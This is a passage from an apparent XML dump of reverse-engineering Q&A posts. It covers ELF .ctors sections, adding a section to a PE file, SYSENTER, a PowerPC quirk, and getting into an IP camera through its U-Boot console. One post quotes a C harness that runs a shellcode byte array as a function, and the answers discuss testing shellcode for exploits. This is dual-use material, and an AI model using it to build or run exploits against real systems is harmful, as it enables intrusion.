_ZL29__gthrw_pthread_mutex_destroyP15pthread_mutex_t,pthread_mutex_destroy&#xA;.weakref    _ZL30__gthrw_pthread_cond_broadcastP14pthread_cond_t,pthread_cond_broadcast&#xA;.weakref    _ZL27__gthrw_pthread_cond_signalP14pthread_cond_t,pthread_cond_signal&#xA;.weakref    _ZL25__gthrw_pthread_cond_waitP14pthread_cond_tP15pthread_mutex_t,pthread_cond_wait&#xA;.weakref    _ZL30__gthrw_pthread_cond_timedwaitP14pthread_cond_tP15pthread_mutex_tPK8timespec,pthread_cond_timedwait&#xA;.weakref    _ZL28__gthrw_pthread_cond_destroyP14pthread_cond_t,pthread_cond_destroy&#xA;.weakref    _ZL26__gthrw_pthread_key_createPjPFvPvE,pthread_key_create&#xA;.weakref    _ZL26__gthrw_pthread_key_deletej,pthread_key_delete&#xA;.weakref    _ZL30__gthrw_pthread_mutexattr_initP19pthread_mutexattr_t,pthread_mutexattr_init&#xA;.weakref    _ZL33__gthrw_pthread_mutexattr_settypeP19pthread_mutexattr_ti,pthread_mutexattr_settype&#xA;.weakref    _ZL33__gthrw_pthread_mutexattr_destroyP19pthread_mutexattr_t,pthread_mutexattr_destroy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, when I assembly the asm code, producing an exe file and use the &lt;code&gt;objdump&lt;/code&gt; produce the &lt;code&gt;ctors&lt;/code&gt; section's contain like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;objdump -Dr -j .ctors hellocpp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;All I can get is like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;hellocpp:     file format elf32-i386&#xA;&#xA;&#xA;Disassembly of section .ctors:&#xA;&#xA;08049efc &amp;lt;__CTOR_LIST__&amp;gt;:&#xA; 8049efc:   ff                      (bad)  &#xA; 8049efd:   ff                      (bad)  &#xA; 8049efe:   ff                      (bad)  &#xA; 8049eff:   ff 00                   incl   (%eax)&#xA;&#xA;08049f00 &amp;lt;__CTOR_END__&amp;gt;:&#xA; 8049f00:   00 00                   add    %al,(%eax)&#xA; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Currently I am trying to recover the content of some ELF binaries compiled from &lt;code&gt;c++&lt;/code&gt; program..&lt;/p&gt;&#xA;&lt;p&gt;So I am wondering if there is a way to get the content of &lt;code&gt;ctors&lt;/code&gt; which equals to what &lt;code&gt;g++&lt;/code&gt; produced?&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;Thanks a lot for @Igor's help. But I am still trapped in looking for &lt;code&gt;class's&lt;/code&gt; &lt;code&gt;constructor&lt;/code&gt; and &lt;code&gt;destructor&lt;/code&gt;  info from ELF binary.&lt;/p&gt;&#xA;&lt;p&gt;When evolving &lt;code&gt;class&lt;/code&gt; definition, g++ would produce these info in the &lt;code&gt;.ctors&lt;/code&gt; section:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    .globl  _ZN8ComputerC1Ev&#xA;    .set    _ZN8ComputerC1Ev,_ZN8ComputerC2Ev&#xA;    .globl  _ZN8ComputerD1Ev&#xA;    .set    _ZN8ComputerD1Ev,_ZN8ComputerD2Ev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Generally &lt;code&gt;_ZN8ComputerC2Ev&lt;/code&gt; is the name of a class's constructor while &lt;code&gt;_ZN8ComputerD2Ev&lt;/code&gt; is its  destructor.&lt;/p&gt;&#xA;&lt;p&gt;However, I just can not find corresponding info in the &lt;code&gt;objdump&lt;/code&gt; dumped &lt;code&gt;.ctors&lt;/code&gt; or &lt;code&gt;.init_array&lt;/code&gt; sections.. I also tried &lt;code&gt;.eh_frame&lt;/code&gt; and &lt;code&gt;gcc_except_table&lt;/code&gt;, but the information dumped is massive.. I can not figure out the meaning of those information..&lt;/p&gt;&#xA;&lt;p&gt;Could anyone give me guide?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-06-03T09:02:05.017" Title="How to recover information stored in .ctors section?" Tags="|disassembly|x86|c++|elf|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6286" PostTypeId="2" ParentId="6285" CreationDate="2014-09-23T01:21:27.650" Score="9" Body="&lt;p&gt;The &lt;code&gt;.ctors&lt;/code&gt; section is a list of pointers terminated with -1 (0xFFFFFFFF), so it does not make sense to disassemble it. If you rearrange the bytes as data, you get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__CTOR_LIST__: .long 0xffffffff&#xA;__CTOR_END__:  .long 0x00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, for whatever reason, the resulting exe does not actually use the &lt;code&gt;.ctors&lt;/code&gt; section. I suspect the linker instead placed the pointers into the new-style &lt;code&gt;.init_array&lt;/code&gt; section. Note that it is, again, a list of pointers, and not code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;.ctors&lt;/code&gt; or &lt;code&gt;.init_array&lt;/code&gt; sections only contain so-called &lt;em&gt;constructor functions&lt;/em&gt; - functions that need to be executed at startup, before the &lt;code&gt;main()&lt;/code&gt; itself. These are usually compiler-generated functions that perform construction of global objects (such as &lt;code&gt;cin&lt;/code&gt;, &lt;code&gt;cout&lt;/code&gt; etc.), or other startup-related tasks. You can, in fact, add your own functions to that list using &lt;a href=&quot;https://stackoverflow.com/questions/2053029/how-exactly-does-attribute-constructor-work&quot;&gt;&lt;code&gt;__attribute__((constructor))&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does &lt;strong&gt;not&lt;/strong&gt; go there are general C++ class constructors - there is no need to execute those on startup. They will be called when and if you construct an object of a specific class - e.g. by declaring a variable or calling &lt;code&gt;operator new&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-09-23T08:34:12.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6287" PostTypeId="2" ParentId="6284" CreationDate="2014-09-23T01:33:41.627" Score="3" Body="&lt;pre&gt;&lt;code&gt;IMAGE_SECTION_HEADER *sectionHeader = (IMAGE_SECTION_HEADER*)((DWORD)ntHeader+sizeof(IMAGE_NT_HEADERS));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The line above is incorrect. It should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IMAGE_SECTION_HEADER *sectionHeader = (IMAGE_SECTION_HEADER*)((DWORD)ntHeader+sizeof(IMAGE_NT_SIGNATURE)+sizeof(IMAGE_FILE_HEADER)+fileHeader-&amp;gt;SizeOfOptionalHeader);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You're setting the &lt;code&gt;IMAGE_SCN_ALIGN_16BYTES&lt;/code&gt; flag in &lt;code&gt;Characteristics&lt;/code&gt;, though this is only valid for object files.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sectionHeader[fileHeader-&amp;gt;NumberOfSections].VirtualAddress = sectionHeader[fileHeader-&amp;gt;NumberOfSections-1].VirtualAddress+optionalHeader-&amp;gt;SectionAlignment;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The line above will cause problems if the last section in the original PE file has a virtual size greater than the section alignment. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sectionHeader[fileHeader-&amp;gt;NumberOfSections].PointerToRawData = sectionHeader[fileHeader-&amp;gt;NumberOfSections-1].PointerToRawData+sectionHeader[fileHeader-&amp;gt;NumberOfSections-1].SizeOfRawData;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The line above will cause problems if the last section in the original PE file has a raw size that is not a multiple of the file alignment.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fileHeader-&amp;gt;NumberOfSections = fileHeader-&amp;gt;NumberOfSections+1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The line above will cause problems if the original PE file had 65535 sections.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;optionalHeader-&amp;gt;SizeOfImage = optionalHeader-&amp;gt;SizeOfImage+alignToSectionAlignment(sectionHeader[fileHeader-&amp;gt;NumberOfSections].Misc.VirtualSize, optionalHeader-&amp;gt;SectionAlignment);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The line above should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;optionalHeader-&amp;gt;SizeOfImage = optionalHeader-&amp;gt;SizeOfImage+alignToSectionAlignment(sectionHeader[fileHeader-&amp;gt;NumberOfSections-1].Misc.VirtualSize, optionalHeader-&amp;gt;SectionAlignment);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your code assumes that there's space between the last &lt;code&gt;IMAGE_SECTION_HEADER&lt;/code&gt; and the beginning of the first section to add another &lt;code&gt;IMAGE_SECTION_HEADER&lt;/code&gt;; this isn't always the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it's very likely that the new section's &lt;code&gt;PointerToRawData&lt;/code&gt; + &lt;code&gt;SizeOfRawData&lt;/code&gt; is greater than the size of the file, which will cause the loader to fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future, please post these types of programming questions to &lt;a href=&quot;https://stackoverflow.com/&quot;&gt;https://stackoverflow.com/&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-09-23T01:33:41.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6288" PostTypeId="1" CreationDate="2014-09-23T06:10:48.153" Score="3" ViewCount="6136" Body="&lt;p&gt;How does the sysenter instruction work?&#xA;What instruction is called after sysenter?&#xA;Is the next instruction saved in a register?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     edx,esp&#xA;sysenter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4754" LastEditorUserId="60" LastEditDate="2014-09-23T10:24:24.217" LastActivityDate="2014-09-23T11:52:40.663" Title="How does sysenter instruction in windows 7 work?" Tags="|disassembly|windows|assembly|kernel-mode|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6289" PostTypeId="1" CreationDate="2014-09-23T09:42:43.790" Score="2" ViewCount="2312" Body="&lt;p&gt;The typical structure of executing shell code is the following-: (The code snippet is taken from &lt;a href=&quot;http://lucifer.phiral.net/shellcode.htm&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char shellcode[] = &quot;&quot;;             /* global array */&#xA;int&#xA;main (int argc, char **argv)&#xA;{&#xA;        int (*ret)();              /* ret is a function pointer */&#xA;        ret = (int(*)())shellcode; /* ret points to our shellcode */&#xA;                                   /* shellcode is type caste as a function */&#xA;        (int)(*ret)();             /* execute, as a function, shellcode[] */&#xA;        exit(0);                   /* exit() */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why not use &lt;a href=&quot;http://en.wikipedia.org/wiki/Inline_assembler&quot; rel=&quot;nofollow&quot;&gt;asm(inline assembler)&lt;/a&gt; to execute shellcode ? It is then much more simpler than doing pointer acrobatics such as converting an array to a function pointer and then executing that array as a function ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any drawbacks of using the assembler ? And are there any particular advantage of using an array to execute shell code ?&lt;/p&gt;&#xA;" OwnerUserId="8362" LastActivityDate="2014-09-24T01:47:16.883" Title="exploit - Why not execute shellcode with the inline assembler?" Tags="|c|exploit|shellcode|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6290" PostTypeId="2" ParentId="6289" CreationDate="2014-09-23T09:54:36.710" Score="0" Body="&lt;p&gt;Because, this technique would require to rewrite the code of the program...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, most of the time, you cannot rewrite the &lt;code&gt;.text&lt;/code&gt; section... You only have access to the data stored in the stack and/or the heap. That is why we use ROP.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-09-23T09:54:36.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6291" PostTypeId="2" ParentId="6288" CreationDate="2014-09-23T11:52:22.253" Score="3" Body="&lt;p&gt;The &lt;code&gt;SYSENTER&lt;/code&gt; instruction affects many registers, but most importantly it sets &lt;code&gt;EIP&lt;/code&gt; to the value of the &lt;code&gt;SYSENTER_EIP_MSR&lt;/code&gt; register (in IA-32 terminology). At boot-time, Windows sets &lt;code&gt;SYSENTER_EIP_MSR&lt;/code&gt; to the address of &lt;code&gt;ntoskrnl!KiFastCallEntry()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at a high-level, &lt;code&gt;SYSENTER&lt;/code&gt; &quot;jumps&quot; to &lt;code&gt;ntoskrnl!KiFastCallEntry()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details, see &lt;a href=&quot;http://www.codeguru.com/cpp/misc/misc/system/article.php/c8223/%22System-Call-Optimization-with-the-SYSENTER-Instruction.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.codeguru.com/cpp/misc/misc/system/article.php/c8223/%22System-Call-Optimization-with-the-SYSENTER-Instruction.htm&lt;/a&gt; and &lt;a href=&quot;http://trapframe.org/just-enough-kernel-to-get-by-2/&quot; rel=&quot;nofollow&quot;&gt;http://trapframe.org/just-enough-kernel-to-get-by-2/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-09-23T11:52:22.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6292" PostTypeId="2" ParentId="6288" CreationDate="2014-09-23T11:52:40.663" Score="9" Body="&lt;p&gt;Here is a perfect explanation how &lt;code&gt;sysenter&lt;/code&gt; works: &lt;a href=&quot;http://www.osronline.com/article.cfm?id=257&quot; rel=&quot;noreferrer&quot;&gt;http://www.osronline.com/article.cfm?id=257&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence:&#xA;All native API calls from User Mode have a body that simply loads an index into EAX, executes &lt;code&gt;SystemCallStub&lt;/code&gt;, and returns&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SystemCallStub saves a pointer to the top of the User Mode stack into EDX and executes a SYSENTER instruction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SYSENTER disables interrupts, switches the thread into Kernel Mode and executes the instruction located in the SYSENTER_EIP_MSR (which on XP SP1 is KiFastCallEntry)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;KiFastCallEntry&lt;/code&gt; builds a trap frame so it knows where to go when returning back to User Mode, enables interrupts, and jumps into &lt;code&gt;KiSystemService&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;KiSystemService&lt;/code&gt;, amongst doing other things, copies the parameters from the User stack (pointed to by EDX) and takes the value previously stored in EAX and executes the function located at KiServiceTable[EAX]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The native API now executes in Kernel Mode with the previous mode of the thread set to User Mode&lt;/p&gt;&#xA;" OwnerUserId="8595" LastActivityDate="2014-09-23T11:52:40.663" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6293" PostTypeId="2" ParentId="6284" CreationDate="2014-09-23T12:00:07.287" Score="0" Body="&lt;p&gt;Consider using &lt;code&gt;TitanEngine&lt;/code&gt; (&lt;a href=&quot;https://bitbucket.org/mrexodia/titanengine-update&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/mrexodia/titanengine-update&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and its function &lt;code&gt;AddNewSection&lt;/code&gt; or &lt;code&gt;AddNewSectionEx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or have a look how its implemented there &lt;a href=&quot;https://bitbucket.org/mrexodia/titanengine-update/src/50379e53e9f3a1d9cf835e37e2fd7cbade61dc6a/TitanEngine/TitanEngine.PE.Section.cpp?at=master#cl-512&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/mrexodia/titanengine-update/src/50379e53e9f3a1d9cf835e37e2fd7cbade61dc6a/TitanEngine/TitanEngine.PE.Section.cpp?at=master#cl-512&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8595" LastActivityDate="2014-09-23T12:00:07.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6294" PostTypeId="2" ParentId="6283" CreationDate="2014-09-23T14:08:25.627" Score="1" Body="&lt;p&gt;The most efficient and easiest way is to export the functionality using &lt;code&gt;dllexport&lt;/code&gt; in C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other way is rewriting the functionality of windows APIs which defeats point of writing an 'efficient' way to extend the functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You thought about doing what with &lt;code&gt;LoadLibrary&lt;/code&gt;? You know that &lt;code&gt;LoadLibrary&lt;/code&gt; returns the base address of where it's loaded? Or you could even use &lt;code&gt;GetModuleHandle&lt;/code&gt; to get the base. So, it's easy enough to do &lt;code&gt;Base + Offset&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't answer your question then you can elaborate why you can't use &lt;code&gt;dllexport&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Inside your dll add the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__declspec(dllexport) void __stdcall ShowMessageBox( )&#xA;{&#xA;    MessageBoxA( 0, &quot;HelloWorld from exported function!&quot;, &quot;&quot;, MB_OK );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside your exe add the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#pragma comment(lib, &quot;TheFullPathToYourOutputDirOrUseRelaltive\\Bla.lib&quot;)&#xA;&#xA;__declspec(dllimport) void __stdcall ShowMessageBox( );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The lib file will be generated in the output directory of your dll. This is only required for build and isn't required for distribution to your end-users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally call our function &lt;code&gt;ShowMessageBox( );&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="4413" LastEditorUserId="4413" LastEditDate="2014-09-23T22:07:21.890" LastActivityDate="2014-09-23T22:07:21.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6295" PostTypeId="2" ParentId="6289" CreationDate="2014-09-23T17:03:56.753" Score="4" Body="&lt;p&gt;This &lt;em&gt;execute-from-array&lt;/em&gt; method is used to test shellcodes in bytes format, which is often the way shellcodes are provided (see &lt;a href=&quot;http://shell-storm.org/shellcode/&quot; rel=&quot;nofollow&quot;&gt;http://shell-storm.org/shellcode/&lt;/a&gt;). It also emulates the usual way shellcodes are being used in an exploit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inline assembly is compiler dependent and shellcode developers might use assemblers directly such as nasm or MASM. However if you are developing your own shellcode there is nothing stopping you from using inline assembly, just keep in mind that the shellcode must be position independent.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-09-23T17:03:56.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6296" PostTypeId="2" ParentId="6289" CreationDate="2014-09-24T01:47:16.883" Score="1" Body="&lt;p&gt;The article you quote is about writing new shellcode to be used in exploits later. The specific snippet is about testing the shellcode. It does not really matter much how you jump to it in your test rig. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, the method from the article lets you test binary shellcode, which is usually all you have when creating an exploit payload.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2014-09-24T01:47:16.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6297" PostTypeId="1" AcceptedAnswerId="6303" CreationDate="2014-09-24T06:03:09.953" Score="-1" ViewCount="449" Body="&lt;p&gt;I'm trying to figure out how this .RBB file is packed it's from a gamecube game I'm trying to learn how to reverse engineer it so I can extract the file and look at its contents. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know were to start honestly so I was hoping someone could point me in the right direction. I've added a link to the file below incase anyone wants to take a look at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/227520696/CITY.RBB&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/227520696/CITY.RBB&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional Information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The game is called Extreme G Racing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I've looked it with a hex editor and it shows some japanese text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ekv3V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8605" LastEditorUserId="8605" LastEditDate="2014-09-24T06:16:55.413" LastActivityDate="2014-09-24T10:23:17.693" Title="Help old gamecube file format" Tags="|memory|decompress|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6299" PostTypeId="1" CreationDate="2014-09-24T08:01:37.750" Score="1" ViewCount="687" Body="&lt;p&gt;I disassemble my own written code in C to PowerPC assembly, and I can't understand why &lt;code&gt;crclr&lt;/code&gt; occurrs before the call to the &lt;code&gt;printf&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;     int a, b, c;&#xA;     a = 10;&#xA;     b = 2;&#xA;     c = a * b;&#xA;     printf(&quot;%d&quot;, c);&#xA;     return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PowerPC assembly code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stwu r1, -0x10(r1)&#xA;mflr r0&#xA;stw r0, 0x14(r1)&#xA;lis r3, unk_38@h&#xA;addi r3, r3, unk_38@l&#xA;li r4, 0x14&#xA;crclr 4*cr1+eq&#xA;bl printf&#xA;li r3, 0&#xA;lwz r0, 0x14(r1)&#xA;mtlr r0&#xA;addi r1, r1, 0x10&#xA;blr&#xA;&#xA;unk_38:&#xA;   .byte 0x25 # %&#xA;   .byte 0x64 # d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could anyone please tell me why? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="8239" LastEditorUserId="4154" LastEditDate="2014-09-24T09:14:31.303" LastActivityDate="2014-09-24T09:27:36.120" Title="Why does the PowerPC Compiler emit a clclr instruction before calling a function?" Tags="|disassembly|powerpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6300" PostTypeId="1" CreationDate="2014-09-24T09:15:18.370" Score="14" ViewCount="40704" Body="&lt;p&gt;I have a inexpensive Chinese IP-Camera that runs a linux (busybox, to be precise) off a 8-MB SPI flash IC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get access to the device. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a hardware serial port, and I've gotten access to it, but the linux terminal appears to be disabled or simply turned off. Basically, I get the &quot;loading linux kernel&quot; message, and then the serial port becomes unresponsive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to &lt;em&gt;retrieve&lt;/em&gt; the firmware image on a device using U-Boot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;U-Boot log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;U-Boot 2010.06-svn (Jun 16 2014 - 09:36:52)&#xA;&#xA;DRAM:  256 MiB&#xA;Check spi flash controller v350... Found&#xA;Spi(cs1) ID: 0xC2 0x20 0x17 0xC2 0x20 0x17&#xA;Spi(cs1): Block:64KB Chip:8MB Name:&quot;MX25L6406E&quot;&#xA;envcrc 0x5878e4b2&#xA;ENV_SIZE = 0xfffc&#xA;In:    serial&#xA;Out:   serial&#xA;Err:   serial&#xA;Press Ctrl+C to stop autoboot&#xA;CFG_BOOT_ADDR:0x58040000&#xA;8192 KiB hi_sfc at 0:0 is now current device&#xA;&#xA;### boot load complete: 1884992 bytes loaded to 0x82000000&#xA;### SAVE TO 80008000 !&#xA;## Booting kernel from Legacy Image at 82000000 ...&#xA;   Image Name:   linux&#xA;   Image Type:   ARM Linux Kernel Image (uncompressed)&#xA;   Data Size:    1884928 Bytes = 1.8 MiB&#xA;   Load Address: 80008000&#xA;   Entry Point:  80008000&#xA;&#xA;&#xA;load=0x80008000,_bss_end=80829580,image_end=801d4300,boot_sp=807c71d8&#xA;   Loading Kernel Image ... OK&#xA;OK&#xA;&#xA;Starting kernel ...&#xA;&#xA;Uncompressing Linux... done, booting the kernel.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the u-boot environment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hisilicon # printenv&#xA;bootcmd=fload;bootm 0x82000000&#xA;baudrate=115200&#xA;bootfile=&quot;uImage&quot;&#xA;da=mw.b 0x82000000 ff 1000000;tftp 0x82000000 u-boot.bin.img;sf probe 0;flwrite&#xA;du=mw.b 0x82000000 ff 1000000;tftp 0x82000000 user-x.cramfs.img;sf probe 0;flwrite&#xA;dr=mw.b 0x82000000 ff 1000000;tftp 0x82000000 romfs-x.cramfs.img;sf probe 0;flwrite&#xA;dw=mw.b 0x82000000 ff 1000000;tftp 0x82000000 web-x.cramfs.img;sf probe 0;flwrite&#xA;dc=mw.b 0x82000000 ff 1000000;tftp 0x82000000 custom-x.cramfs.img;sf probe 0;flwrite&#xA;up=mw.b 0x82000000 ff 1000000;tftp 0x82000000 update.img;sf probe 0;flwrite&#xA;ua=mw.b 0x82000000 ff 1000000;tftp 0x82000000 upall_verify.img;sf probe 0;flwrite&#xA;tk=mw.b 0x82000000 ff 1000000;tftp 0x82000000 uImage; bootm 0x82000000&#xA;dd=mw.b 0x82000000 ff 1000000;tftp 0x82000000 mtd-x.jffs2.img;sf probe 0;flwrite&#xA;ipaddr=192.168.1.10&#xA;serverip=192.168.1.107&#xA;netmask=255.255.255.0&#xA;ethaddr=00:12:12:4b:6b:b6&#xA;HWID=8043420004048425&#xA;ob_start=0&#xA;ob_data=7b&#xA;appSystemLanguage=SimpChinese&#xA;appVideoStandard=PAL&#xA;bootdelay=5&#xA;bootargs=mem=40M console=ttyAMA1,115200 console=ttyAMA0,115200 root=/dev/mtdblock1 rootfstype=cramfs mtdparts=hi_sfc:256K(boot),3520K(romfs),2560K(user),1280K(web),256K(custom),320K(mtd)&#xA;stdin=serial&#xA;stdout=serial&#xA;stderr=serial&#xA;verify=n&#xA;ver=U-Boot 2010.06-svn (Jun 16 2014 - 09:36:52)&#xA;&#xA;Environment size: 1272/65532 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;U-Boot help prompt (I think you can build u-boot with optional modules. This shows what's built into this instance of u-boot?):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hisilicon # help&#xA;?       - alias for 'help'&#xA;base    - print or set address offset&#xA;boot    - boot default, i.e., run 'bootcmd'&#xA;bootd   - boot default, i.e., run 'bootcmd'&#xA;bootm   - boot application image from memory&#xA;bootp   - boot image via network using BOOTP/TFTP protocol&#xA;cmp     - memory compare&#xA;cp      - memory copy&#xA;crc32   - checksum calculation&#xA;fload   - fload  - load binary file from a filesystem image for system boot&#xA;&#xA;flwrite - SPI flash sub-system&#xA;getinfo - print hardware information&#xA;go      - start application at address 'addr'&#xA;help    - print command description/usage&#xA;lip     - lip      - set local ip address but not save to flash&#xA;&#xA;loadb   - load binary file over serial line (kermit mode)&#xA;loady   - load binary file over serial line (ymodem mode)&#xA;loop    - infinite loop on address range&#xA;mac     - mac      - set mac address and save to flash&#xA;&#xA;md      - memory display&#xA;mii     - MII utility commands&#xA;mm      - memory modify (auto-incrementing address)&#xA;mtest   - simple RAM read/write test&#xA;mw      - memory write (fill)&#xA;nm      - memory modify (constant address)&#xA;ping    - send ICMP ECHO_REQUEST to network host&#xA;printenv- print environment variables&#xA;rarpboot- boot image via network using RARP/TFTP protocol&#xA;reset   - Perform RESET of the CPU&#xA;run     - run commands in an environment variable&#xA;saveenv - save environment variables to persistent storage&#xA;setenv  - set environment variables&#xA;sf      - SPI flash sub-system&#xA;sip     - sip      - set server ip address but not save to flash&#xA;&#xA;tftp    - tftp  - download or upload image via network using TFTP protocol&#xA;version - print monitor 